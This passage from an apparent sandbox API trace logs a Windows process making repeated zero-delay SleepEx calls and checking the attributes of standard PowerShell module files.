(dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.658] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.758] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.852] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.945] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.149] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.257] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.351] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.540] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.632] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.795] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.729] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.821] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.836] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.929] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.976] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.013] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.054] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.148] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.195] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.241] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.289] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.336] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.382] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.429] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.476] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.617] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.663] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.711] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.757] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.804] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.851] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.898] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.911] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.911] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.912] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.913] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.913] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.914] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.929] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.930] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.945] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.946] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0195.992] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.038] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.085] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.156] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.175] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.244] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.287] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.321] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.357] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.400] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.446] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.493] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.587] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.634] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.669] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.712] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.736] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.736] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.759] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.759] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.777] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.778] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0196.779] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.545] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.636] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.647] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.647] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.648] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.648] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.655] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.683] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.721] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.761] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.828] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfe1fee18 | out: UnbiasedTime=0x5bfe1fee18) returned 1 [0201.834] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfe1fedc8 | out: UnbiasedTime=0x5bfe1fedc8) returned 1 [0201.837] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0201.837] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice\\PnpDevice.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice\\pnpdevice.psd1")) returned 0x20 [0201.848] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient\\VpnClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient\\vpnclient.psd1")) returned 0x20 [0201.855] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0201.856] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0201.860] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psd1")) returned 0x20 [0201.861] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0201.861] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc\\msdtc.psd1")) returned 0x20 [0201.863] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP\\NetTCPIP.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip\\nettcpip.psd1")) returned 0x20 [0201.865] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0201.866] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1")) returned 0x20 [0201.866] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache\\branchcache.psd1")) returned 0x20 [0201.867] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0201.868] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage\\Storage.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage\\storage.psd1")) returned 0x20 [0201.870] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1")) returned 0x20 [0201.871] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter\\NetAdapter.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter\\netadapter.psd1")) returned 0x20 [0201.873] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents\\DirectAccessClientComponents.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents\\directaccessclientcomponents.psd1")) returned 0x20 [0201.873] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate\\WindowsUpdate.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate\\windowsupdate.psd1")) returned 0x20 [0201.874] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition\\NetworkTransition.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition\\networktransition.psd1")) returned 0x20 [0201.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1")) returned 0x20 [0201.881] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks\\ScheduledTasks.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks\\scheduledtasks.psd1")) returned 0x20 [0201.909] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection\\NetConnection.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection\\netconnection.psd1")) returned 0x20 [0201.918] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI\\iSCSI.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi\\iscsi.psd1")) returned 0x20 [0201.918] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus\\NetworkConnectivityStatus.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus\\networkconnectivitystatus.psd1")) returned 0x20 [0201.920] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psm1")) returned 0x20 [0201.922] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam\\NetSwitchTeam.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam\\netswitchteam.psd1")) returned 0x20 [0201.924] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1")) returned 0x20 [0201.926] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psm1")) returned 0x20 [0201.927] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo\\NetLbfo.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo\\netlbfo.psd1")) returned 0x20 [0201.929] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1")) returned 0x20 [0201.930] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0201.930] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0201.931] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psm1")) returned 0x20 [0201.933] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0x20 [0201.934] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1")) returned 0x20 [0201.934] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule\\TrustedPlatformModule.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule\\trustedplatformmodule.psd1")) returned 0x20 [0201.935] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0201.935] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\uev.psd1")) returned 0x20 [0201.935] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0201.937] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1")) returned 0x20 [0201.939] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1")) returned 0x20 [0201.942] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism\\Dism.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism\\dism.psd1")) returned 0x20 [0201.942] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0201.942] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0201.942] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense\\WindowsDeveloperLicense.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense\\windowsdeveloperlicense.psd1")) returned 0x20 [0201.942] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac\\Wdac.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac\\wdac.psd1")) returned 0x20 [0201.944] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient\\appvclient.psd1")) returned 0x20 [0201.944] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity\\NetSecurity.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity\\netsecurity.psd1")) returned 0x20 [0201.946] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psm1")) returned 0x20 [0201.947] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0201.947] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0201.950] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0201.950] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\netnat.psd1")) returned 0x20 [0201.952] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1")) returned 0x20 [0201.952] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadLine.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psm1")) returned 0x20 [0201.953] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadLine.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psm1")) returned 0x20 [0201.953] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0201.956] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\PrintManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\printmanagement.psd1")) returned 0x20 [0201.957] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient\\DnsClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient\\dnsclient.psd1")) returned 0x20 [0201.959] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx\\appx.psd1")) returned 0x20 [0201.959] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1")) returned 0x20 [0201.959] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1")) returned 0x20 [0201.959] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture\\NetEventPacketCapture.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture\\neteventpacketcapture.psd1")) returned 0x20 [0201.961] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0201.961] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI\\PKI.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki\\pki.psd1")) returned 0x20 [0201.962] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0201.962] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1")) returned 0x20 [0201.962] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds\\kds.psd1")) returned 0x20 [0201.963] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psm1")) returned 0x20 [0201.963] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0201.963] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0201.963] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0201.966] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\SecureBoot.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot\\secureboot.psd1")) returned 0x20 [0201.967] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.996] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.036] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.038] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.041] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.072] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.073] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.137] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.173] SleepEx 